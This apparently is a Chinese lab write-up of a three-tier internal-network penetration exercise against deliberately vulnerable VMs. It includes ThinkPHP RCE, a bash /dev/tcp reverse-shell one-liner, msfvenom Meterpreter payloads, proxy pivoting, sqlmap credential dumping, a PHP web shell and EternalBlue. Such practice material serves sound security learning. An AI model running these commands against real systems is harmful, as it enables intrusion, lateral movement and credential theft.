目录
前期环境搭建
靶机的下载地址,大小一共12个g,共三台靶机
链接:https://pan.baidu.com/s/1BC0oJwVUyBatmdjVKDoqRQ?pwd=5cW9 提取码:5cW9
下载后进行虚拟机网络设置,vmware-->编辑
说一下 这里要用到三个网卡,分别是vmnet1,vmnet2,vmnet3
vmnet1是仅主机模式,要设置的内容如下
vmnet2要设置的内容如下
vmnet3要设置的如下
到这里网卡的设置就可以
然后把kali分配成vmnet1
Target1设置为VMnet1、VMnet2网卡
Target2设置为VMnet1、VMnet2、VMnet3网卡(配置vmnet1是为了使kali访问target2,先进入宝塔界面,开启target2的web服务)
Target3设置为VMnet3网卡
下面开启虚拟机,进入kali进行配置实验 ,
账号密码为
root
teamssix.com
配置target1的web服务
地址:http://你的IP:8888/a768f109/
账号:eaj3yhsl
密码:41bb8fee
配置target2的web服务
地址:http://你的IP:8888/2cc52ec0/
账号:xdynr37d
密码:123qwe..
环境配置到这就完成了,最后删掉Target2的VM1网卡即可
渗透target1
首先扫描一下存活主机:sudo arp-scan -l,也可以nmap 192.168.1.0/24
发现target1的ip为192.168.1.128
接着对target进行nmap扫描:nmap -p- -sV -A 192.168.1.128
发现开放21,22,80等端口,进行web服务的查看
这里发现网站框架为thinkpkp
这里直接上工具进行测漏,进行远程代码执行
thinkphp gui下载地址
Release V1.3 · Lotus6/ThinkphpGUI · GitHub
使用命令打开文件:java -jar ThinkphpGUI-1.3-SNAPSHOT.jar
这里分别使用不同版本进行尝试,发现成功利用
这里点击getshell准备使用antsword连接。可以发现给出了连接地址和密码
antsword输入链接和密码成功连接。
在这里使用antsword进行渗透不太好操作,准备上线msf
在这里想介绍以下这里可以用来反弹shell的几种方法
1.使用web_delivery模块
use exploit/multi/script/web_delivery
set lhost (这里是你自己的ip)
run
2.bash反弹shell
bash -i >& /dev/tcp/ip/port 0>&1
3.使用python反弹,这台靶机我测的失败了
4.msfvenom生成木马反弹shell
首先就是生成可执行的反弹shell的文件,使用msfvenom进行生成
msfvenom -p linux/x86/meterpreter_reverse_tcp LHOST=192.168.1.130 LPORT=1111 -f elf > ycx
接着打开msf准备接收反弹的shell
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.130
set LPORT 4444
exploit
使用antsword进行上传生成的木马文件,上传的目录是/tmp
接着在antsword中打开终端,chmod u+x ycx 赋予执行权限,./ycx进行执行。
可以看到msf上线成功。
接着使用run get_local_subnets查看子网信息,发现22网段和122网段(这个122网段不知道是哪里出来的,先不管他)
使用run autoroute -h查看帮助命令
使用run autoroute -s ip 添加路由run autoroute -s 192.168.22.0/24
使用run autoroute -p进行查看
# 把会话挂起在后台
background
# 搭建sock代理,当拿到一个msf shell时,即可使用代理模块进行横向操作
use auxiliary/server/socks_proxy
show options
set SRVHOST 0.0.0.0
set SRVPORT 1080
exploit
从后台切换回去,sessions -i +id,sessions -l查看sessions
从下图可以看出,我们使用的socks版本是5,当然可以用4a,好像4a更稳定一点,使用上的区别就是在代理软件中或者浏览器里设置socks代理的时候选择对应的版本就可以。
进行修改proxychains的配置文件
sudo vi /etc/proxychains4.conf
简单测试一下代理是否开启和配置成功
如果想在web中查看target2开启的web服务,这里需要在浏览器中配置代理,和proxychains中配置的一样,这里在火狐浏览器进行测试。
因为这里的代理proxychains不是很好用,也可以在Windows下使用sockscap进行代理的使用,可以配置好代理后,把一些软件都拖进来,就可以直接挂代理使用了。
target2
关于这里的target2的ip是如何扫描到的是使用的nmap,但是又挂代理扫描的很慢,先略过。
下面通过sockscap打开御剑对target2的web进行目录扫描,扫描到以下两个目录
可以看到robots文件中的提示信息
这里在源码信息中发现了提示,有sql注入
<!-- Hint:SQL注入点:/index.php?r=vul&keyword=1>
下面sqlmap挂代理进行SQL注入
proxychains4 sqlmap -u http://192.168.22.129/index.php?r=vul&keyword=1 –batch --dbs
看一下bagecms的库下的表
proxychains4 sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" --batch -D 'bagecms' -tables
查admin表的列信息。
proxychains4 sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" --batch -D 'bagecms' -T 'bage_admin' -columns
爆出数据
proxychains4 sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" --batch -D 'bagecms' -T 'bage_admin' -C 'username,password' --dump
也可以直接在查表的时候dump出数据
proxychains4 sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" --batch -D 'bagecms' -T 'bage_admin' --dump
在robots.txt给的路径进行登录
在网站的模块中写入php一句话木马
通过antsword进行连接。前提:antsword要挂代理!!
再次生成木马文件进行shell的获取,但是这次使用的正向连接,我们去主动连接,因为目标主机是不能出网,是访问不到我们的。
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=6666 -f elf > yxq.elf
查看子网信息,并添加路由
run get_local_subnets,run autoroute -s 192.168.33.0/24
target3
proxychains4 nmap -Pn -sT 192.168.33.33
发现开放了445,135等端口
使用msf的永恒之蓝进行漏洞利用,可以使用auxiliary先进行扫描
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set RHOST 192.168.33.33
options
run
cd /
dir /S /B*flag*
type C:\Windows\System32\config\flag.txt
# /B 显示文件夹或文件的名字
# /S 显示指定目录和所有子目录中的文件。
再附上存活主机的探测
小结
又挺少打内网靶机的机会,虽然通过这篇文章看,是很顺利的就写了下来,但是其中的坎坷也是很多的,从靶机安装到打完这三层内网靶机,一共耗费了三天的时间,但也确实是一步步的实操下来的,比如之前只是在书中看proxychains的介绍,实际用起来,你就会发现,不是会话终端了就是msf的代理服务关闭了,总之,在书中学到的和实际操作的是不同的,实战中存在很大的不确定性,也会有很多的“小惊喜”,多操练多积累。